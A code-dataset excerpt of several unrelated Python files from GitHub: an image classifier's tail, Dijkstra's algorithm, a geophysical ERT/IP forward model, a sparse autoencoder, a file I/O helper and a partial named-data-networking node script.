numpy.array(infer_imgs)#将列表转换为数组\n\n# 加载模型\ninfer_program, feed_target_names, fetch_targets = \\\n fluid.io.load_inference_model(model_save_dir,\n infer_exe)\n# 执行预测\nresults = infer_exe.run(infer_program,\n feed={feed_target_names[0]:infer_imgs},\n fetch_list=fetch_targets)\n# print(results)\n\nresult = numpy.argmax(results[0][0])\nfor k, v in name_dict.items():\n if result == v:\n print(\"预测结果:\", k)\n\n# 显示待预测的图像\nimg = Image.open(test_img)\nplt.imshow(img)\nplt.show()\n\n\n\n\n\n\n\n\n\n\n","repo_name":"wangjiancheng-123/datascience","sub_path":"深度学习/01_fruits.py","file_name":"01_fruits.py","file_ext":"py","file_size_in_byte":11206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"74214809216","text":"class graph(object):\n def __init__(self, size):\n self.adjacency_list = {}\n self.maxSize = 0\n for x in range(1, size + 1):\n self.adjacency_list[x] = []\n self.size = size\n\n def add_node(self, start, end, weight):\n\n self.maxSize += weight\n\n self.adjacency_list[start].append([end, weight])\n self.adjacency_list[end].append([start, weight])\n\n def print_graph(self):\n for x in range(1, self.size + 1):\n print(x, \" : \", self.adjacency_list[x])\n\n\ndef minIndex(g, visited, distance, minDis):\n\n minIndex = -1\n\n for count in range(1, g.size + 1):\n if distance[count] <= minDis and (not visited[count]):\n minIndex = count\n minDis = distance[count]\n\n return minIndex\n\n\ndef dijksrta_short(g, start, end):\n visited = [False] * (g.size + 1)\n distance = [g.maxSize] * (g.size + 1)\n\n distance[start] = 0\n\n for _ in range(g.size):\n\n minIndex1 = minIndex(g, visited, distance, g.maxSize)\n\n visited[minIndex1] = True\n\n for x in g.adjacency_list[minIndex1]:\n\n if not visited[x[0]]:\n if distance[x[0]] > distance[minIndex1] + x[1]:\n distance[x[0]] = distance[minIndex1] + x[1]\n\n return distance[end]\n\n\ng = graph(5)\ng.add_node(1, 2, 10)\ng.add_node(2, 3, 15)\ng.add_node(1, 3, 70)\ng.add_node(2, 4, 15)\ng.add_node(4, 5, 20)\ng.add_node(1, 5, 100)\n\ng.print_graph()\n\nprint(dijksrta_short(g, 1, 5))\n","repo_name":"ArtistBanda/Algorithms-and-Basic-Programmes","sub_path":"Python/Algorithms/dijkstra_algorithm.py","file_name":"dijkstra_algorithm.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"} +{"seq_id":"5630863559","text":"from esys.escript import *\nimport numpy as np\nfrom math import floor\nfrom scipy.interpolate import RegularGridInterpolator\nfrom .datamapping import mapToDomain\nfrom esys.escript.linearPDEs import LinearSinglePDE, SolverOptions\nfrom esys.escript.pdetools import Locator\n\ndef setupERTPDE(domain, poisson=True):\n \"\"\"\n used t setup all ERT PDEs\n \"\"\"\n pde=LinearSinglePDE(domain, isComplex=False)\n pde.setSymmetryOn()\n optionsG=pde.getSolverOptions()\n #optionsG.setSolverMethod(SolverOptions.DIRECT)\n\n optionsG.setSolverMethod(SolverOptions.PCG)\n optionsG.setTolerance(1e-8)\n if True and hasFeature('trilinos'):\n #print(\"trilinos solver used.\")\n optionsG.setPackage(SolverOptions.TRILINOS)\n optionsG.setPreconditioner(SolverOptions.AMG)\n if poisson:\n optionsG.setTrilinosParameter(\"problem:type\", \"Poisson-3D\")\n optionsG.setTrilinosParameter(\"verbosity\", \"none\")\n optionsG.setTrilinosParameter(\"number of equations\", 1)\n #optionsG.setTrilinosParameter(\"max levels\", 3) # 10 is default 3 seems to be a good number\n #optionsG.setTrilinosParameter(\"cycle type\", \"V\")\n optionsG.setTrilinosParameter(\"problem: symmetric\", True)\n #optionsG.setTrilinosParameter(\"smoother: pre or post\", \"both\")\n #optionsG.setTrilinosParameter(\"Convergence Tolerance\", 1e-12)\n return pde\n\n\nclass IPModel(object):\n \"\"\"\n \"\"\"\n def __init__(self, domain, survey, locations=[], field_resolution=1., field_origin=(0.,0.,0), sigma_background=0.1, gamma_background=0.0001, padding_tags=[], stationsFMT=None):\n self.domain=domain\n self.survey=survey\n self.locations=locations\n self.stationsFMT=stationsFMT\n self.pde=setupERTPDE(domain)\n x=self.pde.getDomain().getX()[0]\n y=self.pde.getDomain().getX()[1]\n z=self.pde.getDomain().getX()[2]\n self.pde.setValue(q=whereZero(x-inf(x))+whereZero(x-sup(x))+ whereZero(y-inf(y))+whereZero(y-sup(y))+whereZero(z-inf(z)))\n\n self.locations=locations\n self.observation_locator=Locator(Solution(domain), [ self.survey.getStationLocation(s) for s in self.survey.getObservationElectrodes()])\n self.source_locator=Locator(ContinuousFunction(domain), [ self.survey.getStationLocation(ip) for ip in self.survey.getInjectionStations() ])\n\n self.field_resolution=field_resolution\n self.field_origin=field_origin\n self.sigma_background=sigma_background\n self.gamma_background=gamma_background\n self.padding_tags=padding_tags\n\n self.injections= [ i for i in self.survey.injectionIterator()]\n self.injectionMap=[ k for k in range(len(self.injections)) ]\n \n self.setUpDataMaps()\n self.setPrimaryPotential()\n \n\n \n def getAllInjections(self):\n return self.injectionMap\n \n def getInjection(self, k):\n return self.injections[self.injectionMap[k]]\n \n def getNumberOfInjections(self):\n return len(self.injections)\n \n def setUpDataMaps(self):\n \"\"\"\n This sets up the mapping of the DC self.dataDCMaps[self.numSrc] and IP self.dataIPMaps[self.numSrc] predictions to an array d[self.numDataMax, self.numSrc]\n \"\"\"\n self.numSrc=self.getNumberOfInjections()\n self.dataDCMaps={}\n self.dataIPMaps={}\n self.numData={}\n for k, i in enumerate(self.getAllInjections()):\n self.dataDCMaps[i] = { s: j for j,s in enumerate(self.survey.getObservations(self.getInjection(i)))}\n self.dataIPMaps[i] = { s: j+len(self.dataDCMaps[i]) for j,s in enumerate(self.survey.getObservations(self.getInjection(i)))}\n self.numData[i]=len(self.dataDCMaps[i])+len(self.dataIPMaps[i])\n self.numDataMax=max(self.numData.values())\n\n self.use=np.zeros((self.numDataMax, self.numSrc), dtype=bool)\n for k, i in enumerate(self.getAllInjections()):\n for j in self.dataDCMaps[i].values():\n self.use[j,k]=True \n for i in self.dataIPMaps[i].values():\n self.use[j,k]=True\n \n def makeDataSet(self, sources):\n \"\"\"\n \n \"\"\"\n responses=np.zeros((self.numDataMax, len(sources)), dtype=float)\n if self.survey.hasDipoleInjections():\n for k, ip in enumerate(sources):\n for s,i in self.dataDCMaps[ip].items():\n responses[i,k]=self.survey.getDataRecord(self.getInjection(ip)+ s, datatype='R')\n for s,i in self.dataIPMaps[ip].items():\n d=self.survey.getDataRecord( self.getInjection(ip) + s, datatype='R')\n e=self.survey.getDataRecord(self.getInjection(ip) + s, datatype='ETA')\n responses[i,k]=e/(1-e)*d\n else:\n for k, ip in enumerate(sources):\n for s,i in self.dataDCMaps[ip].items():\n responses[i,k]=self.survey.getDataRecord( (self.getInjection(ip),) + s, datatype='R')\n for s,i in self.dataIPMaps[ip].items():\n d=self.survey.getDataRecord( (self.getInjection(ip),) + s , datatype='R')\n e=self.survey.getDataRecord( (self.getInjection(ip),) + s, datatype='ETA')\n responses[i,k]=e/(1-e)*d \n return responses\n \n def setPrimaryPotential(self):\n \"\"\"\n this sets the primary potential assuming sigma=1 and I=1\n \"\"\"\n self.primary_potential={}\n self.primary_potential_at_stations = {}\n self.pde.setValue(A=kronecker(3), X=Data()) \n for i, ip in enumerate(self.survey.getListOfInjectionStations()):\n s=Scalar(0.,DiracDeltaFunctions(self.domain))\n if self.stationsFMT is None:\n s.setTaggedValue(ip,1.)\n else: \n s.setTaggedValue(self.stationsFMT%ip,1.)\n self.pde.setValue(y_dirac=s)\n self.primary_potential[ip]=self.pde.getSolution()\n self.primary_potential_at_stations[ip]=np.array(self.observation_locator(self.primary_potential[ip]))\n print(\"Primary potential for %s: %s\"%(ip,str(self.primary_potential[ip])))\n\n def runSurvey(self, sources, sigma_field, gamma_field):\n # sources point into \n # array to return data: \n responses=np.zeros((self.numDataMax, len(sources)), dtype=float)\n \n # extend the fields to the domain and grep values at source locations: \n sigma, sigma_p=mapToDomain(self.domain, sigma_field, self.field_resolution, origin=self.field_origin, data0=self.sigma_background, tags0=self.padding_tags, locators=self.source_locator )\n gamma, gamma_p=mapToDomain(self.domain, gamma_field, self.field_resolution, origin=self.field_origin, data0=self.gamma_background, tags0=self.padding_tags, locators=self.source_locator )\n \n self.pde.setValue(A=sigma*kronecker(3), y_dirac=Data())\n secondary_potential_at_stations={}\n u_at_stations={}\n # DC .... \n for k, j in enumerate(sources):\n if self.survey.hasDipoleInjections():\n ips=self.getInjection(j)\n for ip in ips:\n if not ip in secondary_potential_at_stations:\n idx=self.survey.getInjectionStationIndex(ip)\n sigma0=sigma_p[idx]\n print(\"DC injection %s at %s, sigma_p=%e\"%(ip, idx, sigma0))\n\n self.pde.setValue(X=(1-sigma/sigma0)*grad(self.primary_potential[ip])) \n u_s=self.pde.getSolution()\n secondary_potential_at_stations[ip]=np.array(self.observation_locator(u_s))\n\n u_at_stations[ip]=secondary_potential_at_stations[ip]+self.primary_potential_at_stations[ip]/sigma0 \n for s,i in self.dataDCMaps[j].items():\n Midx, Nidx=self.survey.getObservationElectrodeIndex(s[0]), self.survey.getObservationElectrodeIndex(s[1]) \n responses[i,k]=u_at_stations[ips[0]][Midx]-u_at_stations[ips[0]][Nidx]- u_at_stations[ips[1]][Midx]+u_at_stations[ips[1]][Nidx] \n else:\n ip=self.getInjection(j)\n idx=self.survey.getInjectionStationIndex(ip)\n sigma0=sigma_p[idx]\n print(\"DC injection %s at %s, sigma_p=%e\"%(ip, idx, sigma0))\n\n self.pde.setValue(X=(1-sigma/sigma0)*grad(self.primary_potential[ip])) \n u_s=self.pde.getSolution()\n secondary_potential_at_stations[ip]=np.array(self.observation_locator(u_s))\n\n u_at_stations=secondary_potential_at_stations[ip]+self.primary_potential_at_stations[ip]/sigma0 \n for s,i in self.dataDCMaps[j].items():\n Midx, Nidx=self.survey.getObservationElectrodeIndex(s[0]), self.survey.getObservationElectrodeIndex(s[1]) \n responses[i,k]=u_at_stations[Midx]-u_at_stations[Nidx]\n \n #.. IP\n sigma2=sigma/(1+gamma)\n du_at_stations={}\n u_s={}\n self.pde.setValue(A=sigma2*kronecker(3), y_dirac=Data())\n for k, j in enumerate(sources):\n \n if self.survey.hasDipoleInjections():\n ips=self.getInjection(j)\n for ip in ips:\n if not ip in u_s:\n idx=self.survey.getInjectionStationIndex(ip)\n sigma20=sigma_p[idx]/(1+gamma_p[idx])\n sigma0=sigma_p[idx]\n print(\"IP injection %s at %s, sigma2_p, gamma_p = %e, %e\"%(ip, idx, sigma20, gamma_p[idx]))\n self.pde.setValue(X=(1-sigma2/sigma20)*grad(self.primary_potential[ip])) \n \n u_s[ip]=self.pde.getSolution()\n du_at_stations[ip]=np.array(self.observation_locator(u_s[ip]))-secondary_potential_at_stations[ip]+self.primary_potential_at_stations[ip]*(gamma_p[idx]/sigma0)\n for s,i in self.dataIPMaps[j].items():\n Midx, Nidx=self.survey.getObservationElectrodeIndex(s[0]), self.survey.getObservationElectrodeIndex(s[1]) \n responses[i,k]=du_at_stations[ips[0]][Midx]-du_at_stations[ips[0]][Nidx]-du_at_stations[ips[1]][Midx]+du_at_stations[ips[1]][Nidx]\n else:\n ip=self.getInjection(j)\n idx=self.survey.getInjectionStationIndex(ip)\n sigma20=sigma_p[idx]/(1+gamma_p[idx])\n sigma0=sigma_p[idx]\n print(\"IP injection %s at %s, sigma2_p, gamma_p = %e, %e\"%(ip, idx, sigma20, gamma_p[idx]))\n self.pde.setValue(X=(1-sigma2/sigma20)*grad(self.primary_potential[ip])) \n \n u_s=self.pde.getSolution()\n du_at_stations=np.array(self.observation_locator(u_s))-secondary_potential_at_stations[ip]+self.primary_potential_at_stations[ip]*(gamma_p[idx]/sigma0)\n for s,i in self.dataIPMaps[j].items():\n Midx, Nidx=self.survey.getObservationElectrodeIndex(s[0]), self.survey.getObservationElectrodeIndex(s[1]) \n responses[i,k]=du_at_stations[Midx]-du_at_stations[Nidx]\n \n self.sigma=sigma\n self.gamma=gamma\n \n return responses # [self.numDataMax, len(sources)]\n \n","repo_name":"LutzGross/fingal","sub_path":"bin/fingal/ipmodel.py","file_name":"ipmodel.py","file_ext":"py","file_size_in_byte":11465,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"} +{"seq_id":"39922243810","text":"import sys\r\ninput=sys.stdin.readline\r\nn=int(input())\r\na=list(map(int, input().split()))\r\n\r\nd=[1]*n\r\nfor i in range(1,n):\r\n s=[]\r\n for j in range(i):\r\n if a[i]\n\nimport numpy as np\nfrom scipy.optimize import fmin_l_bfgs_b\nfrom scipy.linalg import norm\nfrom itertools import cycle, izip\nfrom sklearn.utils import atleast2d_or_csr, check_random_state\nfrom sklearn.utils import gen_even_slices\nfrom sklearn.utils import shuffle\nfrom sklearn.utils.extmath import safe_sparse_dot\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\n\ndef _binary_KL_divergence(p, p_hat):\n \"\"\"\n Computes the a real, KL divergence of two binomial distributions with\n probabilities p and p_hat respectively.\n \"\"\"\n return (p * np.log(p / p_hat)) + ((1 - p) * np.log((1 - p) / (1 - p_hat)))\n\n\ndef _logistic(X):\n \"\"\"\n Implements the logistic function.\n\n Parameters\n ----------\n x: array-like, shape (M, N)\n\n Returns\n -------\n x_new: array-like, shape (M, N)\n \"\"\"\n return 1. / (1. + np.exp(np.clip(-X, -30, 30)))\n\n\ndef _d_logistic(X):\n \"\"\"\n Implements the derivative of the logistic function.\n\n Parameters\n ----------\n x: array-like, shape (M, N)\n\n Returns\n -------\n x_new: array-like, shape (M, N)\n \"\"\"\n return X * (1 - X)\n\n\ndef _tanh(X):\n \"\"\"\n Computes the hyperbolic tan function\n\n Parameters\n ----------\n x: array-like, shape (M, N)\n\n Returns\n -------\n x_new: array-like, shape (M, N)\n \"\"\"\n return np.tanh(X, X)\n\n\ndef _d_tanh(X):\n \"\"\"\n Computes the derivative of the hyperbolic tan function\n\n Parameters\n ----------\n x: array-like, shape (M, N)\n\n Returns\n -------\n x_new: array-like, shape (M, N)\n \"\"\"\n X *= -X\n X += 1\n return X\n\n\nclass Autoencoder(BaseEstimator, TransformerMixin):\n\n \"\"\"\n Sparse Autoencoder (SAE)\n\n A Sparse Autoencoder with one hidden layer.\n Parameters\n ----------\n n_hidden : int\n Number of hidden neurons\n activation: string, optional\n Activation function for the hidden layer; either \"logistic\" for\n 1 / (1 + exp(x)), or \"tanh\" for the hyperbolic tangent.\n algorithm : string, optional\n Optimization function for training the weights; could be \"l-bfgs-b\", \"cg\",\n \"newton-cg\", or \"bfgs\"\n learning_rate : float, optional\n Learning rate to use during learning. It is *highly* recommended\n to tune this hyper-parameter. Possible values are 10**[0., -3.].\n beta : float, optional\n Weight of sparsity penalty term\n sparsity_param : float, optional\n Desired average activation of the hidden units\n batch_size : int, optional\n Number of examples per minibatch.\n max_iter : int, optional\n Number of iterations/sweeps over the training dataset to perform\n during training.\n tol : float, optional\n Tolerance for the optimization. When the loss at iteration i+1 differs\n less than this amount from that at iteration i, convergence is\n considered to be reached.\n verbose: bool, optional\n When True (False by default) the method outputs the progress\n of learning after each iteration.\n random_state : integer or numpy.RandomState, optional\n A random number generator instance to define the state of the\n random permutations generator. If an integer is given, it fixes the\n seed. Defaults to the global numpy random number generator.\n\n Attributes\n ----------\n self.coef_hidden_ : array-like, shape (n_hidden, n_features)\n Weight matrix, where n_features in the number of visible\n units and n_hidden is the number of hidden units.\n self.coef_output_ : array-like, shape (n_features, n_hidden)\n Weight matrix, where n_features in the number of visible\n units and n_hidden is the number of hidden units.\n intercept_hidden_ : array-like, shape (n_hidden,), optional\n Biases of the hidden units\n intercept_visible_ : array-like, shape (n_features,), optional\n Biases of the visible units\n\n Examples\n --------\n\n >>> import numpy as np\n >>> from sklearn.neural_network import SAE\n >>> X = np.array([[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 1]])\n >>> model = SAE(n_hidden=10)\n >>> model.fit(X)\n Autoencoder(activation_func='logistic', alpha=0.0001, batch_size=1000, beta=3,\n learning_rate=0.0001, max_iter=20, n_hidden=10,\n algorithm='l-bfgs', random_state=None, sparsity_param=0.01,\n tol=1e-05, verbose=False)\n\n References\n ----------\n\n [1] Ngiam, Jiquan, et al. \"On optimization methods for deep learning.\"\n Proceedings of the 28th International Conference on Machine Learning (ICML-11). 2011.\n http://ai.stanford.edu/~quocle/LeNgiCoaLahProNg11.pdf\n \"\"\"\n activation_functions = {\n 'tanh': _tanh,\n 'logistic': _logistic\n }\n derivative_functions = {\n 'tanh': _d_tanh,\n 'logistic': _d_logistic\n }\n def __init__(\n self, n_hidden=25, activation='logistic', algorithm='l-bfgs',\n decoder = 'non_linear', learning_rate=0.3, alpha=3e-3, beta=3, sparsity_param=0.1,\n batch_size=500, shuffle_data=False, max_iter=200, tol=1e-5, verbose=False, random_state=None):\n self.activation = activation\n self.algorithm = algorithm\n self.decoder = decoder\n self.n_hidden = n_hidden\n self.alpha = alpha\n self.learning_rate = learning_rate\n self.beta = beta\n self.sparsity_param = sparsity_param\n self.batch_size = batch_size\n self.shuffle_data = shuffle_data\n self.max_iter = max_iter\n self.tol = tol\n self.verbose = verbose\n self.random_state = random_state\n\n def _init_fit(self, n_features):\n \"\"\"\n Initialize weight and bias parameters\n\n Parameters\n ----------\n n_features: int\n Number of features (visible nodes).\n\n Returns\n -------\n theta: array-like, shape (size(W1)*size(W2)*size(b1)*size(b2), 1)\n \"\"\"\n rng = check_random_state(self.random_state)\n self.coef_hidden_ = rng.uniform(-1, 1, (n_features, self.n_hidden))\n self.coef_output_ = rng.uniform(-1, 1, (self.n_hidden, n_features))\n self.intercept_hidden_ = rng.uniform(-1, 1, self.n_hidden)\n self.intercept_output_ = rng.uniform(-1, 1, n_features)\n\n def _init_param(self):\n \"\"\"\n Sets the activation, derivative and the output functions\n \"\"\"\n self.activation_func = self.activation_functions[self.activation]\n self.derivative_func = self.derivative_functions[self.activation]\n \n def _unpack(self, theta, n_features):\n \"\"\"\n Extract the coefficients and intercepts (W1,W2,b1,b2) from theta\n\n Parameters\n ----------\n theta: array-like, shape (size(W1)*size(W2)*size(b1)*size(b2), 1)\n Contains concatenated flattened weights that represent the parameters \"W1, W2, b1, b2\"\n n_features: int\n Number of features (visible nodes).\n \"\"\"\n N = self.n_hidden * n_features\n self.coef_hidden_ = np.reshape(theta[:N],\n (n_features, self.n_hidden))\n self.coef_output_ = np.reshape(theta[N:2 * N],\n (self.n_hidden, n_features))\n self.intercept_hidden_ = theta[2 * N:2 * N + self.n_hidden]\n self.intercept_output_ = theta[2 * N + self.n_hidden:]\n\n def _pack(self, W1, W2, b1, b2):\n \"\"\"\n Pack the coefficients and intercepts (W1,W2,b1,b2) from theta\n\n Parameters\n ----------\n theta: array-like, shape (size(W1)*size(W2)*size(b1)*size(b2), 1)\n Contains concatenated flattened weights that represent the parameters \"W1, W2, b1, b2\"\n n_features: int\n Number of features\n n_classes: int\n Number of target classes\n \"\"\"\n return np.hstack((W1.ravel(), W2.ravel(),\n b1.ravel(), b2.ravel()))\n\n def transform(self, X):\n \"\"\"\n Computes the extracted features.\n\n Parameters\n ----------\n X: array-like, shape (n_samples, n_features)\n\n Returns\n -------\n h: array-like, shape (n_samples, n_components)\n \"\"\"\n return self.activation_func(safe_sparse_dot(X, self.coef_hidden_) + self.intercept_hidden_)\n\n def fit_transform(self, X, y=None):\n \"\"\"\n Fit the model to the data X and transform it.\n\n Parameters\n ----------\n X: array-like, shape (n_samples, n_features)\n Training data, where n_samples in the number of samples\n and n_features is the number of features.\n \"\"\"\n self.fit(X)\n return self.transform(X)\n\n def fit(self, X, y=None):\n \"\"\"\n Fit the model to the data X.\n\n Parameters\n ----------\n X: array-like, shape (n_samples, n_features)\n Training data, where n_samples in the number of samples\n and n_features is the number of features.\n\n Returns\n -------\n self\n \"\"\"\n X = atleast2d_or_csr(X, dtype=np.float64, order=\"C\")\n n_samples, n_features = X.shape\n self._init_fit(n_features)\n self._init_param()\n if self.shuffle_data:\n X, y = shuffle(X, y, random_state=self.random_state)\n # generate batch slices\n self.batch_size = np.clip(self.batch_size, 0, n_samples)\n n_batches = n_samples / self.batch_size\n batch_slices = list(\n gen_even_slices(\n n_batches *\n self.batch_size,\n n_batches))\n #l-bfgs does not work well with minibatches\n if self.algorithm == 'l-bfgs':\n self.batch_size = n_samples\n # preallocate memory\n a_hidden = np.empty((self.batch_size, self.n_hidden))\n a_output = np.empty((self.batch_size, n_features))\n delta_o = np.empty((self.batch_size, n_features))\n if self.algorithm == 'sgd':\n for i in xrange(self.max_iter):\n for batch_slice in batch_slices:\n cost = self.backprop_sgd(\n X[batch_slice],\n n_features, self.batch_size,\n delta_o, a_hidden, a_output)\n if self.verbose:\n print(\"Iteration %d, cost = %.2f\"\n % (i, cost))\n elif self.algorithm == 'l-bfgs':\n self._backprop_lbfgs(\n X, n_features,\n a_hidden, a_output, \n delta_o, n_samples)\n return self\n\n def backprop(self, X, n_features, n_samples,\n delta_o, a_hidden, a_output):\n \"\"\"\n Computes the sparse autoencoder cost function ``Jsparse(W,b)``\n and the corresponding derivatives of Jsparse with respect to the\n different parameters given in the initialization [1]\n\n Parameters\n ----------\n theta: array-like, shape (size(W1)*size(W2)*size(b1)*size(b2))\n Contains concatenated flattened weights that represent the parameters \"W1, W2, b1, b2\"\n X: array-like, shape (n_samples, n_features)\n Training data, where n_samples in the number of samples\n and n_features is the number of features.\n n_features: int\n Number of features (visible nodes).\n n_samples: int\n Number of samples\n\n Returns\n -------\n cost: float\n grad: array-like, shape (size(W1)*size(W2)*size(b1)*size(b2))\n\n References\n -------\n [1] http://ufldl.stanford.edu/wiki/index.php/Autoencoders_and_Sparsity\n \"\"\"\n # Forward propagate\n a_hidden[:] = self.activation_func(safe_sparse_dot(X, self.coef_hidden_)\n + self.intercept_hidden_)\n if self.decoder=='non_linear':\n a_output[:] = self.activation_func(safe_sparse_dot(a_hidden, self.coef_output_)\n + self.intercept_output_)\n elif self.decoder=='linear':\n a_output[:] = safe_sparse_dot(a_hidden, self.coef_output_) + self.intercept_output_\n # Get average activation of hidden neurons\n sparsity_param_hat = np.sum(a_hidden, 0) / n_samples\n sparsity_delta = self.beta * \\\n ((1 - self.sparsity_param) / (1 - sparsity_param_hat)\n - self.sparsity_param / sparsity_param_hat)\n # Backward propagate\n diff = X - a_output\n #Linear decoder\n if self.decoder=='non_linear':\n delta_o[:] = -diff * self.derivative_func(a_output)\n elif self.decoder=='linear':\n delta_o[:] = -diff\n delta_h = (\n (safe_sparse_dot(delta_o, self.coef_output_.T) +\n sparsity_delta)) *\\\n self.derivative_func(a_hidden)\n # Get cost \n cost = np.sum(diff ** 2) / (2 * n_samples)\n # Add regularization term to cost \n cost += (0.5 * self.alpha) * (\n np.sum(self.coef_hidden_ ** 2) + np.sum(\n self.coef_output_ ** 2))\n # Add sparsity term to the cost\n cost += self.beta * np.sum(\n _binary_KL_divergence(\n self.sparsity_param,\n sparsity_param_hat))\n #Get gradients\n W1grad = safe_sparse_dot(X.T, delta_h) / n_samples \n W2grad = safe_sparse_dot(a_hidden.T, delta_o) / n_samples\n b1grad = np.sum(delta_h, 0) / n_samples\n b2grad = np.sum(delta_o, 0) / n_samples\n # Add regularization term to gradients \n W1grad += self.alpha * self.coef_hidden_\n W2grad += self.alpha * self.coef_output_\n return cost, W1grad, W2grad, b1grad, b2grad\n\n def reconstruct(self, a_hidden):\n if self.decoder=='non_linear':\n a_output = self.activation_func(safe_sparse_dot(a_hidden, self.coef_output_)\n + self.intercept_output_)\n elif self.decoder=='linear':\n a_output = safe_sparse_dot(a_hidden, self.coef_output_) + self.intercept_output_\n return a_output[:]\n \n \n def backprop_sgd(\n self, X, n_features, n_samples, delta_o, a_hidden, a_output):\n \"\"\"\n Updates the weights using the computed gradients\n\n Parameters\n ----------\n X: {array-like, sparse matrix}, shape (n_samples, n_features)\n Training data, where n_samples in the number of samples\n and n_features is the number of features.\n\n Y : numpy array of shape [n_samples]\n Subset of the target values.\n\n n_features: int\n Number of features\n\n n_classes: int\n Number of target classes\n\n n_samples: int\n Number of samples\n\n \"\"\"\n cost, W1grad, W2grad, b1grad, b2grad = self.backprop(\n X, n_features, n_samples, delta_o, a_hidden, a_output)\n # Update weights\n self.coef_hidden_ -= (self.learning_rate * W1grad)\n self.coef_output_ -= (self.learning_rate * W2grad)\n self.intercept_hidden_ -= (self.learning_rate * b1grad)\n self.intercept_output_ -= (self.learning_rate * b2grad)\n # TODO: dynamically update learning rate\n return cost\n \n def _backprop_lbfgs(\n self, X, n_features, a_hidden, a_output, delta_o, n_samples):\n \"\"\"\n Applies the one of the optimization methods (l-bfgs-b, bfgs, newton-cg, cg)\n to train the weights\n\n Parameters\n ----------\n X: {array-like, sparse matrix}, shape (n_samples, n_features)\n Training data, where n_samples in the number of samples\n and n_features is the number of features.\n\n Y : numpy array of shape [n_samples]\n Subset of the target values.\n\n n_features: int\n Number of features\n\n n_classes: int\n Number of target classes\n\n n_samples: int\n Number of samples\n\n \"\"\"\n initial_theta = self._pack(\n self.coef_hidden_,\n self.coef_output_,\n self.intercept_hidden_,\n self.intercept_output_)\n optTheta, _, _ = fmin_l_bfgs_b(\n func=self._cost_grad,\n x0=initial_theta,\n maxfun=self.max_iter,\n disp=self.verbose,\n args=(\n X,\n n_features,\n n_samples,\n delta_o,\n a_hidden,\n a_output))\n self._unpack(optTheta, n_features)\n\n def _cost_grad(self, theta, X, n_features,\n n_samples, delta_o, a_hidden, a_output):\n \"\"\"\n Computes the MLP cost function ``J(W,b)``\n and the corresponding derivatives of J(W,b) with respect to the\n different parameters given in the initialization\n\n Parameters\n ----------\n theta: array-like, shape (size(W1)*size(W2)*size(b1)*size(b2))\n Contains concatenated flattened weights that represent the parameters \"W1, W2, b1, b2\"\n X: {array-like, sparse matrix}, shape (n_samples, n_features)\n Training data, where n_samples in the number of samples\n and n_features is the number of features.\n n_features: int\n Number of features\n n_classes: int\n Number of target classes\n n_samples: int\n Number of samples\n\n Returns\n -------\n cost: float\n grad: array-like, shape (size(W1)*size(W2)*size(b1)*size(b2))\n\n \"\"\"\n self._unpack(theta, n_features)\n cost, W1grad, W2grad, b1grad, b2grad = self.backprop(\n X, n_features, n_samples, delta_o, a_hidden, a_output)\n return cost, self._pack(W1grad, W2grad, b1grad, b2grad)\n","repo_name":"IssamLaradji/randomized_neural_networks","sub_path":"autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":17854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"73475333694","text":"import sys\n\nclass FileIO:\n def __init__(self, input_file, output_file = None):\n self.lines = [line for line in open(input_file, 'r')][::-1]\n self.output_file = output_file\n self.clear_file()\n\n def clear_file(self):\n if self.output_file:\n with open(self.output_file, 'w') as f:\n f.close()\n\n def get_input(self, from_file=1):\n \"\"\"Get input from file or from stdin.\"\"\"\n return self.lines.pop() if from_file else sys.stdin.readline()\n\n def write_output(self, *content, to_file=1, sep=\" \"):\n \"\"\"Write output to file or to stdout.\"\"\"\n content = sep.join(str(k) for k in content) + \"\\n\"\n if self.output_file and to_file:\n with open(self.output_file, 'a') as f:\n f.write(content)\n f.close()\n else:\n sys.stdout.write(content)","repo_name":"iammanish17/FileIO","sub_path":"FileIO.py","file_name":"FileIO.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"} +{"seq_id":"36728831831","text":"import argparse\nimport sys\nimport socket\nimport threading\nimport types\nimport csv\nimport os\nimport broadcast_reciever\nimport broadcast_sender\nimport sensor1\nimport time\n\n\ncache = {\n '/NewYork/Temperature':'80'\n}\ninformationBase= {\n '/NewYork/Sensor':'0'\n}\npendingInterestTable = {}\n\n\n#Tried implementing this to create a global object that can be accessed by the listener.\nclass Unit:\n\n def __init__(self,city, port):\n self.city=city\n self.port=port\n \n def __str__(self):\n return self.city + self.port\n\nthisUnit=Unit(city=\"\",port=0)\nsensorPort=33333\n\nclass Package:\n\n def __init__(self, type, name,sender):\n self.type=type\n self.name=name\n self.sender=sender\n \n def __str__(self):\n return self.type\n \nclass Interest(Package):\n pass\n\n \n\nclass Data(Package):\n\n def __init__(self, content):\n self.content = content\n\n\ndef inputHandler(package,city):\n if str(package.type) == \"interest\":\n forwardingInformationBase(package=package)\n checkSensors(interest=package,city=city)\n checkContentStore(package=package)\n elif str(package.type) ==\"data\":\n contentStore(package)\n\n \ndef checkSensors(interest,city):\n print(\"Sending to sensors\",interest.name)\n print(interest.name)\n splitWords = interest.name.split(\"/\")\n print(splitWords[1])\n if city==splitWords[1]:\n sensor=splitWords[2]\n sensorvalue = sensor1.Sensor.get_sensor(sensor)\n print(sensorvalue)\n dataPackage = Data(content=sensorvalue)\n dataPackage.name = interest.name\n dataPackage.sender = interest.sender\n print(dataPackage.content)\n contentStore(dataPackage=dataPackage)\n\n\ndef forwardData(dataPackage, destination):\n print(destination)\n print(destination, \"for data packet\")\n forward = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n forward.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\n networks = csv.reader(open(\"networks.csv\",\"r\"),delimiter=\",\")\n for row in networks:\n if row[2]==destination:\n target=row[0]\n port=int(row[1])\n print(target,port)\n print(\"Forwarding data to requested destination\")\n forward.connect((target,port))\n message = f'{dataPackage.name},{dataPackage.type},{dataPackage.sender},{dataPackage.content}'.encode('utf-8')\n forward.send(message)\n forward.close()\n\n\ndef forwardInterest(package):\n words= package.name.split(\"/\")\n networkName= words[1]\n print(networkName)\n forward = socket.socket(socket.AF_INET, 